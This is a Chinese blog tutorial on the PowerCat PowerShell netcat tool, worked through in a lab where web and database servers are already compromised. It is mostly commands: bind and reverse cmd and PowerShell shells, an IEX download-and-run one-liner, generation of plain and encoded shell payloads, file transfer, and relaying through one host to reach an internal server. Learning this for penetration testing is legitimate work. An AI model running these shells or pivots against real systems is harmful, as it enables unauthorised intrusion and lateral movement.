其他分享
首页 > 其他分享> > PowerCat脚本使用

PowerCat脚本使用

作者:互联网

目录

PowerCat
Netcat: The powershell version. (Powershell Version 2 and Later Supported)
nc的powershell版本(支持powershell v2及以上)

github地址:https://github.com/besimorhino/powercat

导入PowerCat

进入powershell,且有git环境
git clone https://github.com/besimorhino/powercat.git
在这里插入图片描述
cd powercat
import-module .\powercat.ps1
若异常是权限所致,直接修改权限 set-executionpolicy remotesigned

具体策略有:
Unrestricted:允许所有的脚本执行
Restricted:脚本不能运行
RemoteSigned:本地创建的脚本可以执行,但是网上下载的不允许
AllSigned:脚本有受信任的发布者签名时才能执行
Bypass:绕过安全策略执行脚本

查看是否已经导入
powercat -h
在这里插入图片描述

主要命令:
-l      监听一个连接                       
-c      连接到一个监听
-p      指定端口
-e      指定一个程序执行
-ep     执行Powershell       
-v      显示详细信息     
-r      Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
-u      Transfer data over UDP.                              [Switch]
-dns    Transfer data over dns (dnscat2).                    [String]
-dnsft  DNS Failure Threshold.                               [int32]
-t      Timeout option. Default: 60                          [int32]
-i      Input: Filepath (string), byte array, or string.     [object]
-o      Console Output Type: "Host", "Bytes", or "String"    [String]
-of     Output File Path.                                    [String]
-d      Disconnect after connecting.                         [Switch]
-rep    Repeater. Restart after disconnecting.               [Switch]
-g      Generate Payload.                                    [Switch]
-ge     Generate Encoded Payload.                            [Switch]
-h      打印出帮助

实验环境

Kali:192.168.101.129
WebServer:192.168.101.133 10.10.10.136
SqlServer:10.10.10.250

已拿下web和数据库服务器,kali可访问web数据库,不能访问数据库服务器,web服务器可访问数据库服务器

1. 通过nc正向连接powercat

WebServer:
powercat -l -p [本地监听端口] -e cmd.exe -v
在这里插入图片描述
Kali:
netcat [webserverIP] [webserver监听端口] -vv
在这里插入图片描述

2. 通过nc反向连接powercat

Kali:
netcat -l -p [监听端口] -vv
在这里插入图片描述
WebServer:
powercat -c [vpsIP] -p [vps监听端口] -v -e cmd.exe
在这里插入图片描述
也可以远程下载并执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c [vpsIP] -p [vps监听端口] -e cmd
在这里插入图片描述

3. 通过powercat反弹powershell

现在让数据库server反向连接webserver
WebServer:
powercat -l -p [webserver监听端口] -v
在这里插入图片描述
SqlServer:
powercat -c [webIP] -p [webserver监听端口] -v -ep(用于返回powershell)
在这里插入图片描述

4. 通过powercat传输文件

webserver新建calc.bat文件,放置c盘根目录下
SqlServer接收
powercat -l -p [监听端口] -of 1.bat -v
在这里插入图片描述
WebServer:发送
powercat -c [webserverIP] -p [数据库监听端口] -i c:\calc.bat -v
在这里插入图片描述

5. 用powercat生成payload

用powercat生成payload也有正反向之分,且可进行编码。尝试生成简单payload反弹shell
WebServer:
powercat -l -p [本地监听端口] -e cmd -v -g >> shell.ps1
在这里插入图片描述
将生成的ps1文件上传到数据库server中执行 .\shell.ps1
powercat -c [数据库server] -p [本地监听端口] -v
如果想反弹powershell
powercat -l -p [本地监听端口] -ep -v -g >> shell.ps1
也可以直接生成经过编码的payload
powercat -l -p [本地监听端口] -e cmd -v -ge >> shell.ps1
在这里插入图片描述
可以直接使用powershell -e [编码]执行命令
但是编码后的payload太长,复制到命令窗口会报错…
在这里插入图片描述

6. powercat作为跳板

环境:webserver可ping数据库server和vps,vps不能访问数据库server
SqlServer:(监听)
powercat -l -v -p [本地监听端口] -e cmd.exe
在这里插入图片描述
WebServer:(连接)
powercat -l -v -p [vps监听端口] -r tcp:[sqlserverip:sqlserver监听端口]
在这里插入图片描述
vps:(监听)
nc [webserverIP] [本地监听端口] -vv
在这里插入图片描述
 
更多用法可阅读gayhub地址的文档
GOT IT!

 
******************************************************
具体利用方式需根据具体实践场景~

标签:脚本,PowerCat,powercat,数据库,端口,powershell,使用,ps1,监听
来源: https://blog.csdn.net/Zlirving_/article/details/114365498